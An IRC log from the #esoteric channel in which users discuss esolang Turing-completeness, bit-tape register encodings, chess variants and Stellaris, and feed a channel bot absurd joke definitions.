\oren\: FOR SCIENCE *MWAHAHAHAHA* 02:49:20 -!- hppavilion[1] has quit (Ping timeout: 258 seconds). 02:52:32 -!- hppavilion[1] has joined. 02:56:33 -!- Sgeo__ has joined. 02:58:55 -!- Sgeo_ has quit (Ping timeout: 258 seconds). 02:59:41 -!- hppavilion[1] has quit (Ping timeout: 258 seconds). 03:06:23 @metar ENVA 03:06:23 ENVA 150150Z 11006KT CAVOK M02/M04 Q1007 RMK WIND 670FT 14011KT 03:06:31 @metar CYQB 03:06:31 CYQB 150100Z 24008KT 15SM FEW055 06/M04 A3027 RMK SC1 SLP255 03:06:40 -2? 03:07:17 our spring is delayed a bit hth 03:07:37 but then, having the last snow around easter is traditional. 03:09:23 @metar KJFK 03:09:23 KJFK 150151Z 20008KT 10SM FEW250 10/06 A3041 RMK AO2 SLP295 T01000061 03:09:33 helloochaf. eastcoasting? 03:11:24 @metar EGLL 03:11:25 EGLL 150150Z AUTO 27010KT 9999 SCT015 10/09 Q1016 NOSIG 03:11:58 oerjan: where I grew up it wasn't really spring until the may snowstorm 03:13:12 OKAY 03:13:33 of course 03:14:03 flying out of KJFK on sunday 03:15:41 <\oren\> At least now several of my planets are populated entirely by soulless machines 03:15:47 [wiki] [[Golf Cheat]] N https://esolangs.org/w/index.php?oldid=51708 * Qpliu * (+535) Created page with "In [[Golf Cheat]], a zero bit program solves the current problem in the golf competition you are currently competing in. A one bit program solves either the previous or next..." 03:15:59 [wiki] [[Joke language list]] https://esolangs.org/w/index.php?diff=51709&oldid=51652 * Qpliu * (+17) 03:19:55 -!- boily has quit (Quit: LIVE CHICKEN). 03:20:05 -!- sleffy has joined. 03:21:57 [wiki] [[But Is It Art?]] https://esolangs.org/w/index.php?diff=51710&oldid=51682 * Qpliu * (+164) Implementation 03:36:40 would it be TC? <-- yes. any required input/output transformation does not affect TC-ness, as long as it halts. 03:44:16 ? 03:44:19 ah 03:44:39 So, if you had to transform input to output... 03:44:58 well input to input and output to output the other way, naturally 03:45:30 btw have you heard of upvars before? 03:46:04 i think i may have seen the term mentioned once. 03:47:46 well, you're about to see it a couple more times in my latest esolang 03:47:49 Upsilon 03:48:05 don't look at it. it's so lame it's deadly. 03:48:11 OKAY 04:05:48 DID YOU LOOK? 04:09:18 i may already have, briefly. 04:14:26 -!- moonythedwarf has quit (Ping timeout: 258 seconds). 04:46:25 -!- moonheart08 has joined. 04:53:28 -!- moonheart08 has quit (Ping timeout: 268 seconds). 04:56:38 -!- sleffy has quit (Ping timeout: 240 seconds). 05:12:32 oerjan: you still around? 05:14:32 nooooooo! oerjan, what did you do!!! 05:14:36 ...did you like it? 05:15:37 i said briefly. i only got a glimpse of the introduction, or something. 05:15:54 orby: MAYBE 05:16:04 if you want to, read it 05:16:20 but it's not my fault if you're scarred for life 05:16:22 oerjan: excellent. I *may* have some questions for you. 05:16:33 nooooooo! 05:16:36 orby: MAYBE 05:16:43 I'm still thinking about <>*f 05:16:43 * oerjan copied that from rdococ 05:16:57 https://github.com/ChrisRx/dungeonfs 05:17:16 oerjan, you know you could excuse yourself out of listening to orby's questions by reading it :P 05:17:30 it's not quite clear to me how the running off in one direction argument applies, as I think we can probably drag an arbitrary number of arguments along with us 05:17:38 or the reverse hth 05:17:54 orby: yes, but only finitely many. 05:18:01 hmm... 05:18:15 ik, I'm terrible at this whole esolanging thing. I shouldn't even be here. :c 05:18:16 why only finitely man 05:18:18 *many 05:18:59 orby: because you cannot go further back to pick up things than you have <. in fact, since you only have the one test, you cannot really pick up anything, either. 05:19:12 ok f may shift that _slighty_. 05:19:38 so, it is clear that there can only be finitely many f's per iteration 05:19:54 thus only finitely many swaps 05:19:54 and also finitely many < and >. 05:20:00 yeah 05:20:37 I think you are correct that it's not tc, I'm just trying to see it clearly 05:22:03 basically, there is a finite sized window and everything outside that window that you've visited before you can never look at again. 05:23:10 yeah, I think it is clear to me now. I was trying to figure out whether or not there could be some trickery with the f's to copy along whatever you wanted from the past, but the fact that there can only be finitely many swaps per iteration makes that impossible 05:24:15 cool. thanks. 05:24:21 you're welcome 05:27:08 I also had an interesting idea on how the tape is represented. A tape with a finite number of 1's, say n, could be used to represent n unbounded registers where the value in the register is the index of the 1 on the tape. 05:27:41 hi 05:27:43 well, almost, except mulltiple registers couldn't have the same value 05:27:47 rdococ: hello 05:28:17 but it springs from the idea to treat the tape as a subset of the natural numbers where each 1 implies that the index of that cell is in the subset 05:28:58 each cell would need to have at least 2^n distinct states to represent n unbounded registers 05:29:04 orby: a better idea may be to let the registers be represented by the _distance_ between 1s. 05:29:24 oooo, neato 05:30:51 that's one of the things I like about using a bit tape; there are so many easy isomorphisms to other representations 05:33:19 this is something i thought about when doing the minsky machine construction in underload. i only did that for 2 registers, but the distance method could be used to get more. 05:34:56 so what, have the tape be bound on the left, distance to first 1 is value of r1, distance between first 1 and second 1 is value of r2, etc? 05:35:03 although, hm, that one has the advantage that you can shrink and expand the tape locally. 05:35:13 yeah 05:36:06 well, the position of the first 1 would encode the value of the first register in the same way for both schemes 05:36:16 orby: you really need a 1 at the left end too, in order to detect it. 05:36:32 mmhmm, makes sense 05:38:17 I like the idea of thinking of the bit tape as a subset of the natural numbers. Programs receive a set as input and return a set as output. 05:39:14 So then programs are just computable automorphisms on the power set 05:40:23 not quite all of them, you can only change finitely many bits. 05:41:16 and in fact, if they don't always halt it's not an automorphism either. 05:42:04 but otherwise, this sounds like denotational semantics. 05:42:27 sounds nice. 05:43:10 oooh, wiki-ing denotational semantics. this is new to me. 05:43:18 yay 05:43:28 :) 05:49:18 so, chess might be nontrivial even if the 50-move rule is reduced to a 0.5-move rule (i.e. every move must be a capture or pawn move) 05:51:18 at least, crafty has analysed to about 10 moves without finding a trivial win 05:51:22 -!- sleffy has joined. 05:51:43 Is that with or without my suggested variation? 05:52:04 yes, this is where players who fail to do that will lose 05:52:27 Yes, OK 05:56:11 Another further variant can be: Other than captures and pawn moves, it is also allowed to make a move that prevents you from castling later if castling under FIDE rules would normally be allowed later under the current position. 05:57:06 that could be nice to escape one check 05:59:32 (In other words, once you have moved the king, you can no longer make non-capturing moves with either rook; once you have moved a rook, you can no longer make noncapturing moves with that rook; and once you have moved both rooks, you may no longer make noncapturing moves with the king.) 06:01:07 also not the king in the first case 06:02:50 Yes, that too, I forgot 06:02:55 You are correct though 06:03:56 Also, if both of your rooks are captured, you also can no longer make noncapturing moves with the king. 06:04:26 or one captured and one moved. 06:05:34 Yes. 06:11:34 -!- oerjan has quit (Quit: Nite). 06:16:33 well, in general there are non-reversible moves even with pieces, such as https://mathoverflow.net/a/78955 06:17:03 also crafty just segfaulted, so its results might be suspect 06:17:52 ... 06:18:03 Well, I know any language I will create will just be ignored. 06:18:33 Are you sure? If it is good enough then it might not be. 06:18:53 No, I'd never be able to create a "good" language. 06:19:00 I'm the kind of person who gets bored quickly. 06:19:21 O, OK. But when you do have a good idea (if you ever have a good idea, that is) then you can post it. 06:19:53 I never have a good idea. 06:20:14 All my ideas are crap, like a "language without assignments, but with subroutines", "or subroutines with upvars"... 06:20:29 In future it might change, or maybe it won't. Only by time can we see. 06:20:40 Ugh, time. 06:26:49 I'm useless. 06:26:55 Maybe it'd be better if I wasn't here. 06:27:15 There may be something else to do though 06:27:34 LIke crawl into a hole. 06:28:04 And then see if there is anything else in there 06:28:28 Like air, and oxygen. 06:29:00 Yes, probably that is in there, at least. 06:29:34 and I can breathe in the oxygen, breathe out, and then scream. 06:42:58 "Do you see now?" "I can C." 07:01:51 One Poker is played as follows: Each player gets two cards, and your opponent knows how many of your two cards are higher than seven (ace is high). You then choose one of your two cards to play (secretly), and then you bet, and then you expose the cards. Higher card wins, unless they are an ace and a deuce in which case the deuce wins. And then you keep the card you didn't play and get a fresh card, and continue. 07:02:23 (Suits are irrelevant. Two cards of the same rank tie.) 07:02:39 -!- sleffy has quit (Ping timeout: 260 seconds). 07:05:03 * rdococ pokes zzo 07:08:46 -!- sleffy has joined. 07:09:07 ? caine 07:09:08 caine? ¯\(°​_o)/¯ 07:09:39 le//rn caine//Caine is a drug admistered to the target to reverse the effects of other drugs. 07:09:41 Learned 'caine': Caine is a drug admistered to the target to reverse the effects of other drugs. 07:20:10 ? admistered 07:20:11 admistered? ¯\(°​_o)/¯ 07:21:03 ? administered 07:21:04 administered? ¯\(°​_o)/¯ 07:21:10 le//rn caine//Caine is a drug administered to the target to reverse the effects of other drugs. 07:21:12 Relearned 'caine': Caine is a drug administered to the target to reverse the effects of other drugs. 07:28:24 -!- sleffy has quit (Ping timeout: 258 seconds). 07:41:28 [wiki] [[Template:WIP]] https://esolangs.org/w/index.php?diff=51711&oldid=45765 * Rdococ * (+4) Clearer summary of the page's WIP status 07:54:43 <\oren\> https://www.youtube.com/watch?v=MC4IAH2TvWY 07:58:46 sounds nice 08:12:43 -!- augur has joined. 08:14:29 -!- augur has quit (Remote host closed the connection). 08:40:48 -!- orby has quit (Ping timeout: 260 seconds). 10:14:47 -!- augur has joined. 10:18:48 -!- augur has quit (Remote host closed the connection). 10:28:42 -!- augur has joined. 10:33:08 -!- augur has quit (Ping timeout: 255 seconds). 10:35:44 ? trivil 10:35:47 trivil? ¯\(°​_o)/¯ 10:55:39 -!- AnotherTest has joined. 10:55:44 <\oren\> HAH! the enemy has one of my planets under siege and is trying to starve them out 10:55:47 <\oren\> JOKES ON YOU EVERYONE ON THE PLANET IS A SOULLESS ANDROID 10:59:02 LOL 10:59:03 YAY 11:00:01 <\oren\> they are spending most of their fleet trying to siege a planet with no actual sentient life forms on it 11:03:18 <\oren\> which doesn't work, because the population can't feel pain and don't care if they get blown up 11:11:52 -!- AnotherTest has quit (Ping timeout: 260 seconds). 11:19:32 lol 11:25:09 <\oren\> i am *this* close to becoming a robot-majority nation 11:25:31 <\oren\> robots are 46% 11:25:43 * rdococ wants to talk about conlangs but nobody's in that channel :c 11:26:19 <\oren\> also the war ended status quo ante bellum 11:27:37 <\oren\> what kind of conlang? 11:27:42 linguistic 11:27:52 I mean, there's people there but it's silent 11:29:39 <\oren\> ooh, I can make everone who isn't an android a cyborg 11:30:32 I want to be a real boy! 11:32:12 <\oren\> rdococ: eventually you can make your robots capable of rational thought if you research enough. 11:32:35 \oren\: meh. 11:32:38 <\oren\> but it makes all the religious empires hate your guts 11:32:59 lol 11:36:31 <\oren\> well, they already hate me because they think we're "Materialist Fools -20" 11:36:41 what game, \oren\ 11:37:35 <\oren\> Stellaris 11:53:14 mornin 11:53:59 \oren\, I recently started a game of Stellaris where I'm trying to play as Space Elves 11:54:16 Took Fanatic Pacifist and Spiritualist as my ethics 11:55:53 \oren\: haven't played much Stellaris really. None of the DLCs. Have they improved the mid game much? I found the early game to be excellent, especially the first time around (when everything is new and and you don't know the outcome of event decisions), and the late game to be pretty good. But the mid game was just lack luster. 11:57:35 Also the sound track is top notch 11:59:04 CK2 is still my favorite Paradox grand strategy game. All the backstabbing you can do is really fun, 12:00:44 * rdococ is thinking about rupoors 12:01:53 what is that 12:02:13 Vorpal, CK2 is my favourite singleplayer but least favourite multiplayer 12:02:41 Vorpal: They're rupees from TLOZ that are worth a negative amount, and make you lose rupees when you collect them :P 12:03:07 Taneb: ah, I don't really play any sort of multiplayer in any games. The sole exception so far has been minecraft, and that was cooperative. Also years ago by now 12:03:15 rdococ: TLOZ? 12:03:26 Vorpal, The Legend of Zelda 12:03:27 Vorpal: The Legend of Zelda 12:03:32 oh, the original one? 12:03:39 nah, newer ones 12:03:47 ah 12:04:04 rupoors made me think about negative value currency 12:04:25 it doesn't really make much sense 12:04:47 Unless they are made of antimatter or something 12:04:50 but it's kinda funny 12:04:57 rdococ, I don't think it's practical with physical currency 12:05:02 comedic value > realism 12:05:09 Taneb: anti matter 12:05:24 Taneb: well, if you switch to digital currency, you can have complex money :P 12:05:48 "That will be 2+3i, please." 12:06:02 "But I only have 4+1i..." 12:06:24 "That's fine. I can adjust its angle for you - how about that?" 12:06:28 "K." 12:08:47 rdococ: what would that even mean? 12:09:13 Vorpal: that you have some real money, and some imaginary money. der :P 12:09:21 I'm not sure a multi-dimensional currency makes any sense. 12:09:40 Only the magnitude matters 12:09:58 not necessarily. what I said above doesn't have to apply 12:10:04 hm? 12:10:05 . o O ( x86 is a vulnerability platform that allows arbitrary code execution. ) 12:10:25 . o O ( Pokemon R/Y/B is a programming language. ) 12:10:25 int-e: isn't every platform? 12:11:02 ? pokemon 12:11:03 A pokemon is a monster that you keep in your pocket. Taneb invented them. 12:11:08 ? pokemon red 12:11:09 pokemon red? ¯\(°​_o)/¯ 12:11:52 Taneb: anyway, which Paradox game is your favorite in multiplayer? 12:12:04 Vorpal: sure, the platform is interchangable 12:12:07 internal studio games only 12:12:22 le//rn pokemon red//Pokemon Red is a low-level handheld programming language disguised as a game, allowing you to execute arbitrary code from anywhere. 12:12:24 Learned 'pokemon red': Pokemon Red is a low-level handheld programming language disguised as a game, allowing you to execute arbitrary code from anywhere. 12:12:37 Vorpal: I was just musing about the meaning of "arbitrary code execution" 12:12:45 right 12:13:09 Vorpal: mainly because of the useless description of http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10229 12:13:13 Doesn't that make every programming language a vulnerability? 12:13:32 (does the code execution happen in kernel space or in user space? if the former, it'll also serve as a local root exploit) 12:14:33 Vorpal: but of course the industry at large has precisely this attitude, see "trusted computing" which is trying to replace "arbitrary" by "signed by the vendor". 12:14:57 yeah the kernel commit message doesn't help much either 12:14:57 and all these thoughts then were somehow compressed into that statement :P 12:15:48 . o O ( New Windows 10 secure boot! Disables malware like Linux! ) 12:15:54 bye for the rest of the day! 12:37:14 <\oren\> Yeah all the spiritualist empires just hate me so much 12:38:02 <\oren\> but screw them I have a better fleet than all of them combined 12:39:53 <\oren\> plus I stole the secret of true teleportation from a fallen empire 12:40:32 <\oren\> so if anyone messes with me I'll teleport to their capital and blow it the fuck up 12:49:30 -!- AnotherTest has joined. 12:55:01 int-e: that description looks rather specific 12:55:16 have you seen the microsoft update ones? http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0001 12:55:50 “The Graphics Device Interface (GDI) in Microsoft Windows allows local users to gain privileges via a crafted application, aka "Windows GDI Elevation of Privilege Vulnerability." This vulnerability is different from those described in CVE-2017-0005, CVE-2017-0025, and CVE-2017-0047.” 12:57:16 but it does specify "elevation of privilege", and gdi means kernel mode 12:59:45 (So to my mind, the impact is clearer. Of course there's no hint about what part of the GDI interface is actually vulnerable) 13:00:44 But since I'm not actually writing exploits I happen to not care about that. 13:01:49 I assume that “allows remote attackers to execute arbitrary code via UDP traffic” is contemporary manager-speak for a buffer overflow 13:02:30 or more specifically, a buffer overflow on the stack 13:10:45 Esoteria! 13:10:48 Yayayay! 13:31:28 -!- Simm has joined. 13:31:57 Ugh, the conlang channel is still dry. 13:32:20 . o O ( esoteric linguistic languages ) 13:38:38 -!- augur has joined. 13:52:17 -!- augur has quit (Ping timeout: 260 seconds). 14:01:21 -!- boily has joined. 14:16:18 ? bee 14:16:19 bee? ¯\(°​_o)/¯ 14:17:04 le/rn bee//What if bees were made of smaller bees? What if bees were made out of BIGGER bees? 14:17:06 Learned 'bee': What if bees were made of smaller bees? What if bees were made out of BIGGER bees? 14:26:44 wisdom 14:26:46 sth//"sth" is short for "something that hibernates". 14:27:36 -!- erkin has joined. 14:29:05 -!- Zarutian has joined. 14:38:06 ? erkin 14:38:08 erkin? ¯\(°​_o)/¯ 14:39:29 le/rn erkin//An erkin is a variety of cucumber: the West Indian or burr erkin (Cucumis anguria), which produces a somewhat smaller fruit than the garden cucumber (Cucumis sativus). 14:39:31 Learned 'erkin': An erkin is a variety of cucumber: the West Indian or burr erkin (Cucumis anguria), which produces a somewhat smaller fruit than the garden cucumber (Cucumis sativus). 14:40:56 -!- ColonelPhantom has joined. 14:43:00 crunchy 14:43:05 helloily 14:43:32 hellorkin. 14:43:39 relcome ColonelPhantom 14:43:40 ​ColonelPhantom: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 14:43:47 <\oren\> Hmm, I can't just kill these aliens outright... but I can demolish their farms and then starve them 14:51:38 he\\oren\. along with yesterday's utterance, about scientists popping the presidency and stuff like that, what the fungot are you playing? 14:51:38 boily: ' i suppose you ate the other, the terms containing them may be called ' the christian fnord'?" said arthur. 14:53:50 -!- Remavas has joined. 14:55:47 Vail's Second Axiom: 14:55:47 The amount of work to be done increases in proportion to the 14:55:47 amount of work already completed. 14:55:55 Sorry, wrong Channel 14:58:04 I guess it's also true about esolangs though 14:58:50 Woulfn't that mean you're never done? 14:59:50 ah no 15:00:05 nvm 15:13:21 <\oren\> boily:Stellaris 16:00:18 -!- AnotherTest has quit (Ping timeout: 240 seconds). 16:27:30 -!- AnotherTest has joined. 16:41:31 -!- gsora_ has changed nick to gsora. 17:10:21 -!- augur has joined. 17:12:30 -!- sleffy has joined. 17:31:32 -!- augur has quit (Remote host closed the connection). 17:31:40 -!- augur has joined. 17:43:16 -!- AnotherTest has quit (Ping timeout: 258 seconds). 17:44:36 -!- xkapastel has joined. 17:48:56 [wiki] [[Evil]] https://esolangs.org/w/index.php?diff=51712&oldid=51375 * Xav737 * (+120) Add link to esolot 17:51:45 -!- augur has quit (Remote host closed the connection). 17:54:42 -!- augur has joined. 17:54:58 -!- augur has quit (Remote host closed the connection). 17:57:13 -!- ColonelPhantom has quit (Quit: Leaving). 18:21:21 wisdom 18:21:39 sparta//WE. DON'T. KNOW. ANYTHING. ABOUT. SPARTA! 18:22:09 wisdom 18:22:11 sex//Sex is a board game which originated in Britain in the 1870s before spreading throughout Europe in the 1890s. Sex was introduced to the rest of the world by a book, "The Complete Guide to Sex", written and published in 1932, based on the author's extensive experience with a wide variety of forms of European sex. 18:22:24 :p 18:27:02 @tell oerjan hellørjan. the youtubal “(11)” comes from the eleven video notifications I seem to have cumulated by not watching them. 18:27:02 Consider it noted. 18:28:09 -!- AnotherTest has joined. 19:28:00 -!- Remavas-PC has quit (Quit: Page closed). 19:43:09 cat esobible/gen_sys_1.0-1:0 19:43:10 First off, fungot bases eir arrays at 0, like a normal person. 19:43:20 haha :P 19:43:31 yay 19:43:46 "like a normal person" 19:44:05 a normal person is a bad comparison to use, and that's not even because they would probably start at 1 19:44:10 cat esobible/gen_sys_1.0-1:1 19:44:11 In the beginning fungot created #esoteric and esovanna. 19:44:32 cat esobible/gen_sys_1.0-1:2 19:44:33 And #esoteric was without denizens, and empty; and the order was on the face of the PDP-8. And the software of fungot moved upon the face of the scrollback. 19:44:57 cat esobible/gen_sys_1.0-1:2.5 19:44:58 cat esobible/gen_sys_1.0-1:3 19:44:58 And fungot checked if the build environment was sane, and saw that there was no build environment in the first place, and deemed that to be close enough. 19:44:59 And fungot PMed the universe, Let there be sockets, at let one be on port 6667 for the common folk and one on 6697 for those who desire some basic fucking security: and there were two sockets, and on 6667 was one for the commonfolk and on 6697 was one for those who desired some basic fucking security. 19:45:11 :P 19:45:11 cat esobible/gen_sys_1.0-1:3.5 19:45:12 cat: esobible/gen_sys_1.0-1:3.5: No such file or directory 19:45:12 :P 19:45:15 cat esobible/gen_sys_1.0-1:5 19:45:16 And fungot called the cloud internet, and the hard drive *nix. And the DNS and the server were upon the first day. 19:45:17 :P 19:45:19 cat esobible/gen_sys_1.0-1:4 19:45:19 And fungot pinged the sockets, and saw that they responded before they timed out (but just barely; the internet was kind of slow before the universe was created), and e saw that it was good: and fungot divided the cloud from the hard drive. 19:45:23 cat esobible/gen_sys_1.0-1:5 19:45:24 And fungot called the cloud internet, and the hard drive *nix. And the DNS and the server were upon the first day. 19:45:29 xD 19:45:32 Best bible ever 19:45:33 cat esobible/gen_sys_1.0-1:6 19:45:34 lol 19:45:34 cat: esobible/gen_sys_1.0-1:6: No such file or directory 19:45:37 cat esobible/gen_sys_1.0-1:7 19:45:38 cat: esobible/gen_sys_1.0-1:7: No such file or directory 19:45:39 shit 19:45:41 :) 19:45:44 cat esobible/deuteronomy_1.0-1:1 19:45:45 cat: esobible/deuteronomy_1.0-1:1: No such file or directory 19:45:50 hm 19:46:04 dir esobible 19:46:05 gen_sys_1.0-1:0 gen_sys_1.0-1:2 gen_sys_1.0-1:3 gen_sys_1.0-1:5 \ gen_sys_1.0-1:1 gen_sys_1.0-1:2.5 gen_sys_1.0-1:4 19:46:08 aw 19:46:14 no more 19:46:14 ls 19:46:15 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom 19:46:23 * rdococ likes how there was 2.5 19:46:32 ? 19:46:32 :P 19:46:33 ​? ¯\(°​_o)/¯ 19:46:34 ? :P 19:46:36 ​:P? ¯\(°​_o)/¯ 19:46:38 ? remavas 19:46:39 remavas? ¯\(°​_o)/¯ 19:47:32 ? rdococ 19:47:34 rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom. 19:47:49 oh, you're from budapest, 19:47:51 :P 19:48:44 How do you add definitions? 19:48:51 le//rn remavas//Remavas is a revolution in human biology. He's cofriends with oerjan. He's apparently from Frankfurt, Germany, but he's actually from Mars. 19:48:54 Learned 'remavas': Remavas is a revolution in human biology. He's cofriends with oerjan. He's apparently from Frankfurt, Germany, but he's actually from Mars. 19:49:11 I'm from Frankfurt? 19:49:14 no way :P 19:49:23 ? remavas 19:49:24 The server you're connected to is :P 19:49:24 Remavas is a revolution in human biology. He's cofriends with oerjan. He's apparently from Frankfurt, Germany, but he's actually from Mars. 19:49:58 ? oerjan 19:49:59 Your omnipheasant principal witty arrant knave oerjan the indecisive is a hazy expert in merry compaction. Also a Glaswede who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance. His arch-nemesis is Betty Crocker. He twice punned without noticing it. 19:50:12 ? amortized 19:50:13 An amortized word is a word that oerjan can never remember. 19:50:14 le//rn His typing skills are so good, some say what he types rightly is actually a misstype 19:50:15 Usage: le/[/]rn // 19:50:23 ah 19:50:24 Learn for what entry? 19:50:31 mine 19:50:32 :P 19:50:37 then use: 19:50:45 I think you want learn_append 19:51:16 -!- augur has joined. 19:51:17 ? remavas 19:51:18 Remavas is a revolution in human biology. He's cofriends with oerjan. He's apparently from Frankfurt, Germany, but he's actually from Mars. 19:51:22 ? cofriends 19:51:23 cofriends? ¯\(°​_o)/¯ 19:52:23 learn_append remavas//His typing skills are so bad, some say he writes in a different orthography, not back-compatoble with English. 19:52:24 Can't open wisdom/remavas//hi: Not a directory. \ /hackenv/bin/learn_append: line 5: wisdom/remavas//hi: Not a directory \ Learned 'remavas//hi': cat: wisdom/remavas//hi: Not a directory 19:52:29 ah 19:52:34 heh 19:52:40 for learn_append you have to omit the // 19:52:42 for some reason 19:52:46 .. 19:52:47 just replace it with a space 19:53:20 learn_append remavas His typing skills are so bad, some say he writes in a different orthography, not back-compatible with English. 19:53:22 Can't open wisdom/remava: No such file or directory. \ Learned 'remava': His typing skills are so bad, some say he writes in a different orthography, not back-compatible with English. 19:53:35 er 19:53:36 le//rn_append remavas//His typing skills are so incredibly bad, some say he writes in a different orthography designed for a different language. 19:53:38 Learned 'remavas': Remavas is a revolution in human biology. He's cofriends with oerjan. He's apparently from Frankfurt, Germany, but he's actually from Mars. His typing skills are so incredibly bad, some say he writes in a different orthography designed for a different language. 19:53:51 :P 19:53:53 yep 19:54:13 ? whatever 19:54:14 whatever? ¯\(°​_o)/¯ 19:55:32 'le//rn whatever//42! 19:55:53 le//rn whatever//42! 19:55:55 Learned 'whatever': 42! 19:56:03 ? whatever 19:56:04 42! 19:56:23 ? 42 19:56:24 42 is The Answer. Heed it. 19:56:30 :P 19:57:29 ? answer 19:57:30 answer? ¯\(°​_o)/¯ 19:57:35 le//rn answer//42. 19:57:37 Learned 'answer': 42. 19:57:41 ? whatever 19:57:42 42! 19:57:46 ? factorial 19:57:48 factorial? ¯\(°​_o)/¯ 19:58:46 le//rn factorial//1*2*3*..*n = n!. TL;DR a really big number 19:58:48 Learned 'factorial': 1*2*3*..*n = n!. TL;DR a really big number 19:58:55 ? factorial 19:58:57 1*2*3*..*n = n!. TL;DR a really big number 19:58:57 no! 19:58:58 wait! 19:59:03 I was coming up with a witty one 19:59:15 you can maybe overwrite it 19:59:29 le//rn factorial//test 19:59:31 Relearned 'factorial': test 19:59:33 yep 19:59:46 ? factorial 19:59:47 test 19:59:49 see? 19:59:57 le//rn factorial//Factorials are factories that factor many integers together to rdocscover more long ints. The answer to life, the universe, and everything is frequently purported to be 42, but it is actually 42 factorial (42!). 19:59:59 Relearned 'factorial': Factorials are factories that factor many integers together to rdocscover more long ints. The answer to life, the universe, and everything is frequently purported to be 42, but it is actually 42 factorial (42!). 20:00:33 > product [1..42] 20:00:35 1405006117752879898543142606244511569936384000000000 20:00:41 I don't see it. 20:01:14 Hm. 20:01:24 le//rn_append factorial// Some even say 42! is the answer to the multiverse, whilst 42 is just the answer to one 20:01:26 Learned 'factorial': Factorials are factories that factor many integers together to rdocscover more long ints. The answer to life, the universe, and everything is frequently purported to be 42, but it is actually 42 factorial (42!). Some even say 42! is the answer to the multiverse, whilst 42 is just the answer to one 20:01:36 ...nah. 20:01:38 revert 20:01:40 Done. 20:01:43 :c 20:01:51 brevity is the soul of wit. 20:02:11 ? brevity 20:02:12 syn. "shortness" 20:02:19 too...normal 20:02:22 :P 20:02:22 ? shortness 20:02:23 shortness? ¯\(°​_o)/¯ 20:02:30 le//rn shortness//syn. "brevity" 20:02:32 Learned 'shortness': syn. "brevity" 20:02:45 circular definition [X] 20:03:27 why not square definition? 20:03:47 > product [y | x <- [1..9], y=(x**x)] 20:03:49 :1:28: error: 20:03:49 parse error on input ‘=’ 20:03:49 Perhaps you need a 'let' in a 'do' block? 20:04:13 ah yeah right wait 20:04:24 > product [1..10] 20:04:27 3628800 20:04:38 > product [x**x | x <- [1..9]] 20:04:41 2.157794122294186e34 20:05:12 > product [x**x | x <- [1..100]] 20:05:14 Infinity 20:05:21 really? :O 20:05:25 nah, just overflow 20:05:31 > product [1..50] 20:05:34 30414093201713378043612608166064768844377641568960512000000000000 20:05:35 ? overflow 20:05:36 > product [1..75] 20:05:37 overflow? ¯\(°​_o)/¯ 20:05:39 2480914081139539809194647711659403366092624388657012283779589451265584267757... 20:05:57 > product [1,2,..] 20:05:59 :1:14: error: parse error on input ‘..’ 20:06:04 huh 20:06:16 > product [1..] 20:06:22 mueval-core: Time limit exceeded 20:06:26 :P 20:08:54 > [x**2 | x <- [1..], x**3 mod 3 == 0] !! 42 20:08:56 error: 20:08:56 • Ambiguous type variable ‘a0’ arising from a use of ‘show_M733674397767... 20:08:56 prevents the constraint ‘(Show a0)’ from being solved. 20:09:11 huh 20:09:25 :t (**) 20:09:27 Floating a => a -> a -> a 20:09:28 :t (^) 20:09:30 (Num a, Integral b) => a -> b -> a 20:09:50 :t (^^) -- for completeness 20:09:52 (Integral b, Fractional a) => a -> b -> a 20:10:03 heh 20:10:09 okay 20:10:16 Thank you 20:10:47 of course, testing x^3 mod 3 == 0 is a bit silly 20:11:27 why? :P 20:11:42 le//rn overflow//Overflow is a phenomenon that occurs when too much water pours into the inner mechanics of a hydrocomputer. 20:11:44 Learned 'overflow': Overflow is a phenomenon that occurs when too much water pours into the inner mechanics of a hydrocomputer. 20:11:58 ? buffer overflow 20:11:59 buffer overflow? ¯\(°​_o)/¯ 20:12:30 ? water 20:12:31 Water is a squishy substance that creeps along the floor and can suddenly fall from the heavens. 20:12:40 Good enough 20:12:48 makes sense 20:12:51 ? milk 20:12:51 ? hydrocomputer 20:12:52 milk? ¯\(°​_o)/¯ 20:12:52 hydrocomputer? ¯\(°​_o)/¯ 20:13:05 ? cake 20:13:07 The Enrichment Center is required to remind you that you will be baked, and then there will be cake. 20:13:12 le//rn milk//Milk is a squishy substance that creeps along the floor and can be extracted from cows. 20:13:14 Remavas: because it's the same as testing whether x is divisible by 3 20:13:14 Learned 'milk': Milk is a squishy substance that creeps along the floor and can be extracted from cows. 20:13:30 :P 20:13:34 yep 20:13:50 how about 20:13:50 le//rn hydrocomputer//Hydrocomputing is the field of computer programming which studies the computational power of water. 20:13:52 Learned 'hydrocomputer': Hydrocomputing is the field of computer programming which studies the computational power of water. 20:13:59 ? turing 20:14:00 Turing is what you are doing when you Tur 20:14:04 ? turing complete 20:14:05 turing complete? ¯\(°​_o)/¯ 20:14:07 ? tc 20:14:08 Tc is the abbreviation for Technetium, an element so sophisticated that it does not exist naturally. 20:14:14 ? turing-complete 20:14:15 turing-complete? ¯\(°​_o)/¯ 20:14:19 heh 20:14:35 le//rn turing complete//You complete a Turing when you Tur by a specified amount. 20:14:37 Learned 'turing complete': You complete a Turing when you Tur by a specified amount. 20:14:49 ? fsm 20:14:50 An FSM is a state machine with noodly appendages. 20:14:55 lol 20:14:58 ? data tree 20:14:59 data tree? ¯\(°​_o)/¯ 20:15:02 ? binary tree 20:15:03 binary tree? ¯\(°​_o)/¯ 20:15:06 ? DFA 20:15:08 DFA? ¯\(°​_o)/¯ 20:15:17 le//rn binary tree//A binary tree is an economical design for a computer built into a tree. 20:15:19 Learned 'binary tree': A binary tree is an economical design for a computer built into a tree. 20:16:45 ? cow 20:16:46 A cow is an animal best served at minus zero degrees Celsius. 20:17:19 ? holy cow 20:17:20 holy cow? ¯\(°​_o)/¯ 20:17:45 ? null pointer 20:17:46 null pointer? ¯\(°​_o)/¯ 20:17:49 ? pointer 20:17:50 pointer? ¯\(°​_o)/¯ 20:18:12 le//rn pointer//A pointer is someone who points, usually towards someone or something else. 20:18:14 Learned 'pointer': A pointer is someone who points, usually towards someone or something else. 20:18:34 